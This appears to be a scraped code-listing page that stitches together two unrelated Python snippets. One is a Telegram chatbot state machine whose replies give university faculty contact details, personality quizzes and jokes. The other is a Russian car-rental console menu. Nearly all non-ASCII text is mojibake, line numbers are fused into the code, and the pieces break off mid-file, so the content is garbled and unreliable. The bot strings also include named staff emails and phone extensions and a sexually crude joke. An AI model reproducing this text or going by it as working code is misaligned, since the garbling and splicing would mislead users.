ä»é¢çµæ§è¨è¨ãå¥åº·çè·æç¨åå人è¨å\n\nç³»æå¥ï¼\nè³è¨ç³» / è£½é æ\n\né»è©±ï¼\n06-2757575 ext 34228\n\nE-mailï¼\nphtsai@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè³è¨ç³»çµ±èæç¨å¯¦é©å®¤ (èªå¼·æ ¡ååå¨è¨å大æ¨95508)")501        self.go_back(update)502    def on_exit_state37(self, update):503        print('Leaving state37')504    505    def on_enter_state38(self, update):506        update.message.reply_text("è¡æå å©çææ\n\nå°é·åç ç©¶é å:\nå¤åªé«è³è¨ç³»çµ±ãé²ç«¯å¤åªé«è¨ç®ãé»è
¦è¦è¦ºèåå½¢èå¥ãæ©å¨å¸ç¿ãé»è
¦åå¸ãèæ¬å¯¦å¢èæ´å¢å¯¦å¢æè¡æç¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62557\n\nE-mailï¼\nanita_hu@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nå¤åªé«è³è¨ç³»çµ±å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨6F 65601)\n\nå人網é ï¼\nhttp://mislab.csie.ncku.edu.tw/trimy")507        self.go_back(update)508    def on_exit_state38(self, update):509        print('Leaving state38')510    511    def on_enter_state39(self, update):512        update.message.reply_text("æ¶åæ å©çææ\n\nå°é·åç ç©¶é å:\nç°è³ªå¹³è¡è¨ç®ãåµå
¥å¼ç³»çµ±è¨è¨èæä½³åãç·¨è¯å¨è¨è¨\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ\n\né»è©±ï¼\n06-2757575 ext 62527\n\nE-mailï¼\nchiaheng@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nåç»ç³»çµ±ç ç©¶å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨7F 65708)\n\nå人網é ï¼\nhttp://chiaheng.wordpress.com")513        self.go_back(update)514    def on_exit_state39(self, update):515        print('Leaving state39')516    517    def on_enter_state40(self, update):518        update.message.reply_text("æä¿¡æ° 坿æ\n\nå°é·åç ç©¶é å:\nè»é«å·¥ç¨ãç¶²é èªå忏¬è©¦ãæåå°åæ¶æ§ãç¨å¼ç¢¼åæãè»é«ä»£ç人\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 61035\n\nE-mailï¼\njielee@mail.ncku.edu.tw\n\n實é©å®¤ï¼\nè»é«å·¥ç¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65912)")519        self.go_back(update)520    def on_exit_state40(self, update):521        print('Leaving state40')522    523    def on_enter_state41(self, update):524        update.message.reply_text("å¼µçç´ å©çææ\n\nå°é·åç ç©¶é å:\nè³æææãé²ç«¯éç®å¹³å°æç¨ãè³æåº«ç®¡çã系統åæèè¨è¨ãæ¸ä½å¸ç¿ç³»çµ±ãç¨å¼è¨è¨èæ°å¯«ãç¨å¼è¨è¨èæ°å¯«\n\nç³»æå¥ï¼\nè³è¨ç³» / è³è¨æ / è¨ç¶²ä¸å¿\n\né»è©±ï¼\n06-2757575 ext 61053\n\nE-mailï¼\nchangrh@mail.ncku.edu.tw\n\n實é©å®¤ï¼\n嵿°ç³»çµ±è»é«æç¨å¯¦é©å®¤ (è³è¨ç³»é¤¨æ°å¤§æ¨9F 65912)")525        self.go_back(update)526    def on_exit_state41(self, update):527        print('Leaving state41')528    529    def on_enter_state42(self, update):530        update.message.reply_text("黿¬ç¾¤ æ¥çå°å®¶ å
¼ å©çææ\n\nå°é·åç ç©¶é å:\n使¥ç³»çµ±ãåµå
¥å¼ç³»çµ±ãæ¶è²»æ§é»åç¢å\n\nç³»æå¥ï¼\nè³è¨ç³»\n\né»è©±ï¼\n06-2757575 ext 62542\n\nE-mailï¼\njserv.tw@gmail.com\n\nå人網é ï¼\nhttp://wiki.csie.ncku.edu.tw/User/jserv")531        self.go_back(update)532    def on_exit_state42(self, update):533        print('Leaving state42')534    535    def on_enter_statePsychologicalTest(self, update):536        update.message.reply_text("love or personality or work")537        #self.go_back(update)538    def on_exit_statePsychologicalTest(self, update):539        print('Leaving statePsychologicalTest')540    def on_enter_stateLove(self, update):541        update.message.reply_text("ä½ èµ°å¨æ£®æä¸ï¼çªç¶æç¥ç¶ç´æ¯åºç¾ï¼ç¥è¦é你䏿¬¾ææ
ç³æï¼ä½ è¦ºå¾ä»éä½ çæ¯ä¸é¢åªä¸æ¬¾ï¼\naãç´
ç½æ¢ç´ç³\nbã彩è²é½ç³ç³\ncãä¸å½©ææç³\ndãç½è²æ¹ç³\neãæ©è²åå½¢ç³")542        self.go_back(update)543    def on_exit_stateLove(self, update):544        print('Leaving stateLove')545    546    def on_enter_stateLoveA(self, update):547        update.message.reply_text("aãä½ çå¿
ä¿®èª²é¡æ¯ãæ¾ä¸çæèé¢åã\nä½ åæ¡ä¸åäººå¾æé¡¯ï¼ç¼å
總æ¯è¿½èå°æ¹å¨è½ï¼æ¯æ¯éå£é½æ¯èå°æ¹æéç話é¡ï¼ç¶è碰å°ä½ ä¸åæ¡ç人ï¼ä½ ä¹ä¸ææµªè²»æéå¨ä»èº«ä¸ãå°æ¼ä½ æå¥½æçå°è±¡ï¼ä½ å»ä¸ä¸å®æåæ°£åç½ï¼ç¸½æ¯ä¸å試æ¢å°æ¹çæè¦ºï¼å°±æèªå·±è¡¨é¯æ
ã\næé¢åæ²æé¯ï¼ä½ä½ æææä¹æå çºå¤ªæé¢åèä¸é¡ææ¿èªé¯èª¤ãåæ§æ´»æ½çä½ ï¼å
¶å¯¦ä¸ç¼ºæææ©æãåè¬ä¸è¦å°å°±å¨æ²æå¿åçéä¿ï¼æé¸èä½ å¢ååæµçå°è±¡ï¼æè½å½°é¡¯ä½ èç¼çç¹è³ªã")548        self.go_back(update)549    def on_exit_stateLoveA(self, update):550        print('Leaving stateLoveA')551    552    def on_enter_stateLoveB(self, update):553        update.message.reply_text("bãä½ çå¿
ä¿®èª²é¡æ¯ãå¸ç¿æ¾ä¸æ¦è£èé¢å
·ã\nä½ æ¯å夿åæç人ï¼å¨ææ
ä¸åéä¸å°å·å®³ï¼ç«¥å¹´ä¸åéè¦çé°å½±ãéå°å¹´ååççå·ææ ï¼ï¼å°è´ç¾å¨çä½ å°ææ
缺ä¹ä¿¡å¿ãçºäºä¿è·èªå·±æ¦è£æå°é³ãé£ä»¥ææ¸ç人ãå
¶å¯¦ä½ çå
§å¿æ¯å®ç´è渴ææçï¼ååä½ èæ¯æä¸èä½ ä¸åä¸çç人ï¼è®ä½ é·å
¥ç¡æ¢å¢ççå¿éæ²ã\næå¾ï¼ä½ åªå¥½æµé£æ¼ææ§éä¿ï¼å¿è»èå¼±çä½ ï¼å çºå®³æå¯å¯ï¼å¿è£¡é¢å
¶å¯¦æ²æå®å
¨æå»åæ¨ä¸å¾æ¾æï¼å°è´èªå·±ä¸æ·è¼ªè¿´ãæ¯è©²è®èªå·±è§£è«çæåäºï¼æ½èº«ï¼å
¶å¯¦æ¯ä½ æ³çé容æã")554        self.go_back(update)555    def on_exit_stateLoveB(self, update):556        print('Leaving stateLoveB')557    558    def on_enter_stateLoveC(self, update):559        update.message.reply_text("cãä½ çå¿
ä¿®èª²é¡æ¯ãæ¾ä¸å°ææ
ççæ³åï¼æ¾å平衡æã\nä½ å°æ¼ææ
æ±æè太ç¾å¥½çæ§æ¬ï¼ä½ æ¸´æå¦ä¸åå¯ä»¥å¾¹åºäºè§£ä½ çæ³æ³ï¼æä»¥ç¶å
©äººå çºæäºäºèæè¦ä¸åæï¼ä½ ææå°é常沮åªãç¶èï¼å¨å樣çé·ç°å¢ä¸çå§å¦¹é½ææè¦ä¸åçæåï¼æ´ä½æ³æ¯ä¸åçé·å®¶åºãç°å¢é½ä¸åç人ã\nä½ éè¦å¨å¤¢æ³èç¾å¯¦éæ±å¾å¹³è¡¡ãå¸ç¿å¨é»è©çéä¿ä¸ï¼æ¾åç¨èæçå¹³éãç¶ä½ å¸æå¯¬å®¥èªå·±èå°æ¹ï¼ä½ å°ææåå°æ´èªå¨çæ
æéä¿ã")560        self.go_back(update)561    def on_exit_stateLoveC(self, update):562        print('Leaving stateLoveC')563    564    def on_enter_stateLoveD(self, update):565        update.message.reply_text("dãä½ çå¿
ä¿®èª²é¡æ¯ãæ¾åå°èªå·±çèªä¿¡ã\nä½ æ ¹æ¬éæ²æºåå¥½è«ææï¼åææ¯å°ææå¿åææ¼ï¼å®³æèªå·±æ²è³æ ¼è¢«æï¼æèªå·±é½ç
§é¡§ä¸å¥½èªå·±äºï¼å¦ä½å»å°å¥äººå¥½ï¼ä½ çåé¡å¨æ¼å°èªå·±ç¼ºä¹èªä¿¡ï¼ç¿æ
£æäºæ
æ³ç太æ²è§ä¾åèªå·±ã\nåæ³ä¸ä¸ä½ ææå¿éçäºï¼æ¯å¦æè¨±å¤ä¸æ¾ç¼çãè®èªå·±ç½æå¿ä¸å ´å¢ï¼é£éº½ï¼ä½ é卿å¿ä»éº½å¢ï¼åæ¢å»æå§ãç¸ä¿¡èªå·±å¼å¾è¢«æï¼ä½ ä¹æè½å廿å¥äººã")566        self.go_back(update)567    def on_exit_stateLoveD(self, update):568        print('Leaving stateLoveD')569    570    def on_enter_stateLoveE(self, update):571        update.message.reply_text("eãä½ çå¿
ä¿®èª²é¡æ¯ã叿ç¨ç«ï¼æ¾ä¸å®³æè¢«å¿½ç¥çæåã\n卿æ
é¢åï¼ä½ éæ¯åå©åï¼è²ªç©ãä»»æ§ãä¾è³´ãå®èº«æï¼ä½ ä¾è³´ä½ ç家人ãä½ çé¨èï¼è«ææãçµå©å¾ï¼ä¾è³´ä½ çå¦ä¸åã好å¥çä½ åæ¡åãçºä»éº½ï¼ãå¾ä¸å°æ»¿æççæ¡ä¾¿èªé¡§èªççæ°£ãä¸åæ¡è¢«å°æ¹å¿½ç¥çæè¦ºï¼å»å¸¸å çºå°æ³¨å¨èªå·±çèè¶£è忽ç¥å°æ¹ã\næä¸ä½ å¾æç
§é¡§å©åçå¿çæºåãä½ è¦å¸æçï¼æ¯ç¨ç«ï¼ä¸è¦æå¿å¦ä¸åéä¸å»æ²æ³ä½ ï¼å°±ææä½ å¿è¨ãè¦ç¥éï¼æä¸åäººæ¯æ¾å¨å¿ä¸ï¼è䏿¯æå¨å´éã")572        self.go_back(update)573    def on_exit_stateLoveE(self, update):574        print('Leaving stateLoveE')575    def on_enter_statePersonality(self, update):576        update.message.reply_text("妿è¦ä½ é¨èº«æå¸¶ã幸é符ãï¼ä½ ææå®æ¾å¨åªè£¡ï¼ä»¥ä¿ä½ä½ å¹³å®å¢ï¼\naãæ¾å¨å
§è¡£è£¡\nbãæ¾å¨é¨èº«çå
å
ä¸\ncãæå¨ææ©ä¸\ndãç¶æé 
éææéæå¨èº«ä¸")577        #self.go_back(update)578    def on_exit_statePersonality(self, update):579        print('Leaving statePersonality')580    def on_enter_statePersonalityA(self, update):581        update.message.reply_text("aãç·å¼µå¤§å¸«ææ¸ï¼100% \nä½ æ¯å¤§å¤¥äººç¼ä¸çç·å¼µå¤§å¸«ï¼åªè¦ä½ ä¸ç·å¼µèµ·ä¾ï¼èè²å°±è·èé£çï¼èº«æçäººé½ææåå°ä½ çç·å¼µæ°£æ°ãå çºä½ çåæ§æ¥ï¼éä¸çæ³æ¥è快快解決ï¼èæªè½æèå®åå°±è¡åï¼åèæé·å
¥å¦ä¸å麻ç
©ä¸ã")582        self.go_back(update)583    def on_exit_statePersonalityA(self, update):584        print('Leaving statePersonalityA')585    def on_enter_statePersonalityB(self, update):586        update.message.reply_text("bãç·å¼µå¤§å¸«ææ¸ï¼50% \n你䏿鿼ç·å¼µï¼å çºä»»ä½äºæ
å°ä½ ä¾èªªï¼é½æ¯æè§£æ±ºæ¹æ³çï¼èå
¶è±è²»å¤ªå¤æéï¼è®èªå·±é·å
¥ç¦æ
®çè¦ççæ
ï¼ä¸å¦èç¥å¨å¨ï¼çå°äºæ
ç¼çå廿èã")587        self.go_back(update)588    def on_exit_statePersonalityB(self, update):589        print('Leaving statePersonalityB')590    def on_enter_statePersonalityC(self, update):591        update.message.reply_text("cãç·å¼µå¤§å¸«ææ¸ï¼20% \nä½ ç¥ç¶ç®æäºå¤§æ¢ï¼ææåäºæ
大家é½ç¥éäºï¼ä½ ææç¶å¤§æï¼å¯ä»¥èªªå¸¸å¨çæ³å¤ãä½ä½ å»å¾å®¹æå人影é¿ï¼åªè¦è¦ªæå¥½åç·å¼µå
®å
®å°æ¾ä½ åéäºæ
ï¼å³ä½¿ä½ éæä¸æ¸
æ¥çæ³ï¼ä¹è·èä¸èµ·çª®ç·å¼µï¼")592        self.go_back(update)593    def on_exit_statePersonalityC(self, update):594        print('Leaving statePersonalityC')595    def on_enter_statePersonalityD(self, update):596        update.message.reply_text("dãç·å¼µå¤§å¸«ææ¸ï¼80%\nä½ æ¯ä¸å滿容æç·å¼µç人ï¼ä¸é»é¢¨å¹èåï¼å°±æè®ä½ è¡æäºæ³èµ·ä¾ï¼è¦æ¯ççç¼ç大äºï¼å¾å®¹æå¾å£èæ³ãèä½ å䏿³è®å¥äººç¼ç¾èåªåæä½ï¼ç¡å½¢ä¸è®ä½ çç²¾ç¥ã身é«é½é·æèæ¼ç·å¼µççæ
ï¼")597        self.go_back(update)598    def on_exit_statePersonalityD(self, update):599        print('Leaving statePersonalityD')600    def on_enter_stateWork(self, update):601        update.message.reply_text("妿你æ¯ä¸å®¶å¤§ä¼æ¥çè² è²¬äººï¼æä¸ä½å¹´è¼è²ç¾çç§äººç§æ¸ï¼ä½ ææ¬è¦å®å¥¹çä¸çæè£ï¼ä½ èªçºä¸åä½è
è¼ç¬¦åä½ çæ³æ³ï¼\naãä¿å®çå¥è£è£é·éèæé¡¯å¾èé\nbãçªé¡¯èº«æççªè£ä¸ä½å¯ä»¥å¸¶åºå»æé
¬èªå·±ä¹è³å¿æ
ç®\ncãä¸å¾åå
¶ä»è·å¡ä¸æ¨£ç©¿å·¥ä½æå
¬å¸è¦æ³¨æç´å¾\ndãä»»å
¶èªç±ç©¿è")602        #self.go_back(update)603    def on_exit_stateWork(self, update):604        print('Leaving stateWork')605    def on_enter_stateWorkA(self, update):606        update.message.reply_text("aãä¿å®çå¥è£è£é·éèæé¡¯å¾èé\nä½ æ¯å平常çèµ·ä¾å¾æ£æ¼«ï¼å¯¦éä¸åªè¦æå
¥å·¥ä½ä¾¿ä¸æ¬æ£ç¶ç人ãèªçæ¯ä½ ä¸è²«çåäºæ¹å¼ï¼èä¸åæ¼è² è²¬ï¼çµ²æ¯«ä¸é¦¬èï¼ä½ æçæ¨æ·è¡äºäºç工使
åº¦ï¼æä»¥ä½ æ¯åè¶³çå·¥ä½çã")607        self.go_back(update)608    def on_exit_stateWorkA(self, update):609        print('Leaving stateWorkA')610    def on_enter_stateWorkB(self, update):611        update.message.reply_text("bãçªé¡¯èº«æççªè£ä¸ä½å¯ä»¥å¸¶åºå»æé
¬èªå·±ä¹è³å¿æ
ç®\nä½ å¾è°ææ©éï¼æå¾å¨è©²åªåçæååªåå·¥ä½ï¼è½å·æ¶çæåä¹ä¸æ¾é伿¯çæ©æï¼æä»¥ä½ å¨å·¥ä½æç²¾ç¥ç¹å¥å¥½ï¼é滿注æå·¥ä½ç°å¢çæ
調ï¼ä½ åªè½èªªæ¯çèµ·ä¾è±¡åå·¥ä½çã")612        self.go_back(update)613    def on_exit_stateWorkB(self, update):614        print('Leaving stateWorkB')615    def on_enter_stateWorkC(self, update):616        update.message.reply_text("cãä¸å¾åå
¶ä»è·å¡ä¸æ¨£ç©¿å·¥ä½æå
¬å¸è¦æ³¨æç´å¾\nä½ æ¯åå
¬ç§åæç人ï¼éç¶è«ä¸ä¸æ¯åå·¥ä½çï¼ä½æ¯åªè¦è¾¦å
¬äºæï¼ä½ ä¸åæ¡æ¶åç§äººçäºæ
ï¼åºæ¬ä¸ä½ ä¹ç®å·¥ä½çåç人ç©ã")617        self.go_back(update)618    def on_exit_stateWorkC(self, update):619        print('Leaving stateWorkC')620    def on_enter_stateWorkD(self, update):621        update.message.reply_text("dãä»»å
¶èªç±ç©¿è\nä½ æ¯å奿å人ç©ï¼æ¯è¼æ
é·çåæ§çå·¥ä½ï¼å¦æèªçèµ·ä¾ï¼åäºä¸çµ²ä¸èï¼ä½æ¯å¦æä½ æ ¹æ¬æ²èè¶£ï¼ä½ å°±ææªå¡éå»ï¼ä¸å¤§çæãæä»¥ä½ æ¯ä¸æ¯å·¥ä½çï¼å®å
¨è¦å·¥ä½æ§è³ªèå®ã")622        self.go_back(update)623    def on_exit_stateWorkD(self, update):624        print('Leaving stateWorkD')625    def on_enter_stateChat(self, update):626        update.message.reply_text("Hi!")627        #self.go_back(update)628    def on_exit_stateChat(self, update):629        print('Leaving stateChat')630    def on_enter_stateChat1(self, update):631        update.message.reply_text("How are you?")632        #self.go_back(update)633    def on_exit_stateChat1(self, update):634        print('Leaving stateChat1')635    def on_enter_stateChat2(self, update):636        update.message.reply_text("Are you single?")637        #self.go_back(update)638    def on_exit_stateChat2(self, update):639        print('Leaving stateChat2')640    def on_enter_stateChat3(self, update):641        update.message.reply_text("Ok~This is for you.\nhttps://youtu.be/WCpKhCyqmFE")642        self.go_back(update)643    def on_exit_stateChat3(self, update):644        print('Leaving stateChat3')645    def on_enter_stateChat4(self, update):646        update.message.reply_text("Congratulations!\n")647        update.message.reply_photo('https://pbs.twimg.com/media/DB4AHDFU0AEu6G4.jpg')648        self.go_back(update)649    def on_exit_stateChat4(self, update):650        print('Leaving stateChat4')651    def on_enter_stateJoke(self, update):652        update.message.reply_text("normal or turbo")653        #self.go_back(update)654    def on_exit_stateJoke(self, update):655        print('Leaving stateJoke')656    def on_enter_stateJokeNormal(self, update):657        update.message.reply_text("æä¸å¤©ç¸½çµ±ä¸å°å¿æå°æ°´æºéäº.æ°å¥½æä¸åå°å©ç¶é\n總統就å°ä»å說:ãå¦æä½ åææèµ·ä¾æå°±çµ¦ä½ åæ¯äººä¸å顿ã\n第ä¸åå°å©å°±èªªä»è¦ä¸è¼è
³è¸è»\n第äºåå°å©å°±èªªä»è¦ä¸åæ£çæå¥\n第ä¸åå°å©æ³äºå¾ä¹
說ä»è¦ä¸å°è¼ªæ¤
\n總統å¿é就覺å¾å¾å¥æªæè
³å¥½å¥½ççºä»éº¼éè¦è¼ªæ¤
å¢?\nå°±å第ä¸åå°å©èªª:ãä½ çºä»éº¼è¦è¼ªæ¤
å¢?ã\n第ä¸åå°å©å°±èªª:ã妿æç¸ç¥éææä½ èµ·ä¾æææçè
¿ææ·ã\n")658        self.go_back(update)659    def on_exit_stateJokeNormal(self, update):660        print('Leaving stateJokeNormal')661    def on_enter_stateJokeTurbo(self, update):662        update.message.reply_text("æå人ï¼ä¾å°æ¬å°ä¸å®¶å¥èº«é¤¨æ³æ¸è¥ï¼å¥½ä½¿èªå·±èæ¢äºï¼å¥èº«é¤¨è£¡åæå種å¥èº«è¨åï¼ç便ºè¤éï¼æ¼æ¯ï¼éå¢ä¼é¸äºä¸ç¨®æä¾¿å®çï¼å°±æ¯å¨ä¸å°æå
§æ¸æä¸ç£
ãä»è¢«å¸¶å°ä¸éæ¿å裡ï¼è£¡é¢ç«èä¸å赤裸ç女å©åï¼æè£¡æ¿èåçåï¼ä¸é¢å¯«éï¼ãå¦æä½ è½æä½æï¼å°±å
許你幹æï¼ãéå¢ä¼ç«å³æ¥åäºææ°ï¼éå§è¿½é女å©ï¼ä½æ¯æ¬¡é½æ¯å¿«è¦æä½å¥³å©æï¼åçµ¦å¥¹è·æï¼ä¸åå°æéå»äºï¼ä»ä»æ²ææä½é£å女å©ï¼å¥èº«æç·´å¸¶ä»å»ç¨±äºä¸ä¸é«éï¼å好å°äºä¸ç£
ããéæºä¸é¯åï¼ãéå¢ä¼å¿æ³ï¼ãææ¢è½æ¸è¥ï¼åè½éå¿è¶ãã\n鿬¡ï¼ä»é¸äºä¸åç¨è²´äºçæ¸è¥æ¹æ¡ï¼å¯ä»¥å¨ä¸å°æå
§æ¸å»å
©ç£
ãä»è¢«å¸¶å°ä¸éæ¿è£¡ï¼è£¡é¢ç«èå
©ä½å
¨è£¸ç女å©ï¼æè£¡é½æ¿èçåï¼ä¸é¢ä¹å¯«éï¼ãå¦æä½ è½æä½æï¼å°±å
許你幹æï¼ãéå¢ä¼ååèå¥®ï¼æå½å°è¿½è¶éå
©å女å©åï¼æå¾éæ¯ä¸å乿²è¿½å°ï¼ä¸å°æå¾ï¼æç·´å給ä»ç¨±äºä¸é«éï¼å好æäºå
©ç£
èã\néæï¼éå¢ä¼è¢«æ¿æäºï¼ä»å訴ç¶çï¼ä»è¦é¸ç¨æè²´çæ¸è¥æ¹æ¡ï¼ç¶çåä»ä¿èä»ä¸å®è½å¤ å¨ä¸å°æå
§æ¸å»åç£
ï¼ä½æ¯åè£å
說ï¼éåæ¹æ¡ååå±éªï¼éå¢ä¼å¿æ³ï¼ä¸å°±æ¯åå¤å¹¾å女å©åï¼è¶å¤å°±è¶ææ©æï¼è³å°è½å¤ æä½ä¸åå§ãä»å¬ç¶çè¶å¿«æä»éå°é£åæè²´çæ¿éå»ï¼å管ç¶ç䏿·åä»è²æå±éªãæ¼æ¯ï¼é人被帶å°ä¸åç¨é äºçä¸éæ¿å裡ï¼ä»åè®ä»é²å»å¾ï¼å¨å¤é¢éä¸äºéï¼æ¿é裡çå
ææï¼çå¾
ä»çæ¯ä¸é»é»ç©ç©ï¼åªè¦å®æè£¡æ¿èä¸åçåï¼ä¸é¢å¯«éï¼ã妿ææä½ä½ ï¼æå°±å¹¹ä½ ã")663        self.go_back(update)664    def on_exit_stateJokeTurbo(self, update):...menu.py
Source:menu.py  
...97                        menu_count = main.main_menu_switcher(main.activated)98                    # "7. ÐапÑоÑ: ÐвÑомобили в пÑокаÑе"99                    elif position == 6:100                        request.rent_request()101                        go_back()102                    # "8. СоÑ
Ñанение в Ñайл"103                    elif position == 7:104                        file.save_file()105                        go_back()106                    # "9. ÐагÑÑзка из Ñайла"107                    elif position == 8:108                        file.load_file()109                        go_back()110                    # "i. СпÑавка"111                    elif position == 9:112                        show_info()113                        go_back()114                    # "0. ÐÑÑ
од"115                    elif position == 10:116                        return 0117                else:118                    # "1. Ðаполнение ÑаблиÑÑ"119                    if position == 0:120                        menu_count = const.FILL_LIST_MENU_COUNT121                        menu(const.FILL_LIST_MENU_MODE, menu_count)122                        menu_count = main.main_menu_switcher(main.activated)123                    # "2. ÐагÑÑзка из Ñайла"124                    elif position == 1:125                        file.load_file()126                        go_back()127                    # "i. СпÑавка"128                    elif position == 2:129                        show_info()130                        go_back()131                    # "0. ÐÑÑ
од"132                    elif position == 3:133                        return 0134            elif mode == const.PRINT_LIST_MENU_MODE:135                if position == 0:136                    out.print_employee_table()137                    go_back()138                elif position == 1:139                    out.print_position_table()140                    go_back()141                elif position == 2:142                    out.print_brand_table()143                    go_back()144                elif position == 3:145                    out.print_service_table()146                    go_back()147                elif position == 4:148                    out.print_car_table()149                    go_back()150                elif position == 5:151                    out.print_client_table()152                    go_back()153                elif position == 6:154                    out.print_rent_table()155                    go_back()156            elif mode == const.FILL_LIST_MENU_MODE:157                if position == 0:158                    fill.fill_employee_table(main.table_row[const.EMPLOYEE_TABLE])159                    go_back()160                elif position == 1:161                    fill.fill_position_table(main.table_row[const.POSITION_TABLE])162                    go_back()163                elif position == 2:164                    fill.fill_brand_table(main.table_row[const.BRAND_TABLE])165                    go_back()166                elif position == 3:167                    fill.fill_service_table(main.table_row[const.SERVICE_TABLE])168                    go_back()169                elif position == 4:170                    fill.fill_car_table(main.table_row[const.CAR_TABLE])171                    go_back()172                elif position == 5:173                    fill.fill_client_table(main.table_row[const.CLIENT_TABLE])174                    go_back()175                elif position == 6:176                    fill.fill_rent_table(main.table_row[const.RENT_TABLE])177                    go_back()178            elif mode == const.ADD_LIST_MENU_MODE or mode == const.DELETE_LIST_MENU_MODE:179                if position == 0:180                    edit.edit_employee_table()181                    go_back()182                elif position == 1:183                    edit.edit_position_table()184                    go_back()185                elif position == 2:186                    edit.edit_brand_table()187                    go_back()188                elif position == 3:189                    edit.edit_service_table()190                    go_back()191                elif position == 4:192                    edit.edit_car_table()193                    go_back()194                elif position == 5:195                    edit.edit_client_table()196                    go_back()197                elif position == 6:198                    edit.edit_rent_table()199                    go_back()200            elif mode == const.REQUEST_HRD_LIST_MENU_MODE:201                if position == 0:202                    request.hrd_request()203                    go_back()204                elif position == 1:205                    request.hrd_filter_specific_position()206                    go_back()207            elif mode == const.REQUEST_AUTOPARK_LIST_MENU_MODE:208                if position == 0:209                    request.autopark_request()210                    go_back()211                elif position == 1:212                    request.autopark_filter_specific_brand()213                    go_back()214                elif position == 2:215                    request.autopark_filter_in_and_off_rent()216                    go_back()217                elif position == 3:218                    request.autopark_filter_specific_delivery_and_return_date()219                    go_back()220                elif position == 4:221                    request.autopark_filter_paid_and_unpaid_rented_cars()222                    go_back()223            # ÐеÑеÑиÑовка224        if mode == const.MAIN_MENU_MODE:225            show_main_menu(cursor)226        elif mode == const.PRINT_LIST_MENU_MODE:227            show_print_list_menu(cursor)228        elif mode == const.FILL_LIST_MENU_MODE:229            show_fill_list_menu(cursor)230        elif mode == const.ADD_LIST_MENU_MODE:231            show_add_list_menu(cursor)232        elif mode == const.DELETE_LIST_MENU_MODE:233            show_delete_list_menu(cursor)234        elif mode == const.REQUEST_HRD_LIST_MENU_MODE:235            show_request_hrd_list_menu(cursor)236        elif mode == const.REQUEST_AUTOPARK_LIST_MENU_MODE:237            show_request_autopark_list_menu(cursor)238def show_main_menu(cur):239    os.system("clear")240    print("\t\t _____ _____ _____ _ _ _____ _____")241    print("\t\t| | | \\ / \\ | | | | / \\ |__ __|")242    print("\t\t| | | | | <=> | | | | | | |/ / | <=> | | |")243    print("\t\t| | | | | ___/ | | | | | | | _ | | |")244    print("\t\t| | | | | | | | | | | |\\ \\ | | | | | |")245    print("\t\t|_| |_| |_| \\_____/ |_| |_| |_| |_| |_|\n")246    print("\t\t _____ _____ _____ _____")247    print("\t\t / \\ | \\ |__ __| / \\")248    print("\t\t | <=> | | <=> | | | | | | |")249    print("\t\t | _ | | < | | | | | |")250    print("\t\t | | | | | <=> | | | | | | |")251    print("\t\t |_| |_| |_____/ |_| \\_____/\n\n")252    if main.activated:253        print("\t\t %s 1. ÐÑвод ÑаблиÑÑ" % (cur[0]))254        print("\t\t %s 2. Ðаполнение ÑаблиÑÑ" % (cur[1]))255        print("\t\t %s 3. Ðобавление ÑлеменÑов в ÑаблиÑÑ" % (cur[2]))256        print("\t\t %s 4. Удаление ÑлеменÑов из ÑаблиÑÑ" % (cur[3]))257        print("\t\t ___________________________________\n")258        print("\t\t %s 5. ÐапÑоÑ: ÐÑдел кадÑов" % (cur[4]))259        print("\t\t %s 6. ÐапÑоÑ: ÐвÑопаÑк" % (cur[5]))260        print("\t\t %s 7. ÐапÑоÑ: ÐвÑомобили в пÑокаÑе" % (cur[6]))261        print("\t\t ___________________________________\n")262        print("\t\t %s 8. СоÑ
Ñанение в Ñайл" % (cur[7]))263        print("\t\t %s 9. ÐагÑÑзка из Ñайла" % (cur[8]))264        print("\t\t ___________________________________\n")265        print("\t\t %s i. СпÑавка" % (cur[9]))266        print("\t\t %s 0. ÐÑÑ
од" % (cur[10]))267    else:268        print("\t\t %s 1. Ðаполнение ÑаблиÑÑ" % (cur[0]))269        print("\t\t ___________________________________\n")270        print("\t\t %s 2. ÐагÑÑзка из Ñайла" % (cur[1]))271        print("\t\t ___________________________________\n")272        print("\t\t %s i. СпÑавка" % (cur[2]))273        print("\t\t %s 0. ÐÑÑ
од" % (cur[3]))274def show_print_list_menu(cur):275    os.system("clear")276    print("\n\n\t\tÐакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе вÑвеÑÑи:")277    print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))278    print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))279    print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))280    print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))281    print("\t\t %s 5. ÐвÑомобили" % (cur[4]))282    print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))283    print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))284def show_fill_list_menu(cur):285    os.system("clear")286    print("\n\n\t\tÐакÑÑ ÑаблиÑÑ ÐÑ Ñ
оÑиÑе заполниÑÑ:")287    print("\t\t %s 1. СоÑÑÑдники" % (cur[0]))288    print("\t\t %s 2. ÐолжноÑÑи" % (cur[1]))289    print("\t\t %s 3. ÐаÑки авÑомобилей" % (cur[2]))290    print("\t\t %s 4. ÐополниÑелÑнÑе ÑÑлÑги" % (cur[3]))291    print("\t\t %s 5. ÐвÑомобили" % (cur[4]))292    print("\t\t %s 6. ÐлиенÑÑ" % (cur[5]))293    print("\t\t %s 7. ÐÑокаÑ" % (cur[6]))294def show_add_list_menu(cur):295    os.system("clear")296    print("\n\n\t\tРкакÑÑ ÑаблиÑÑ ÐÑ Ñ
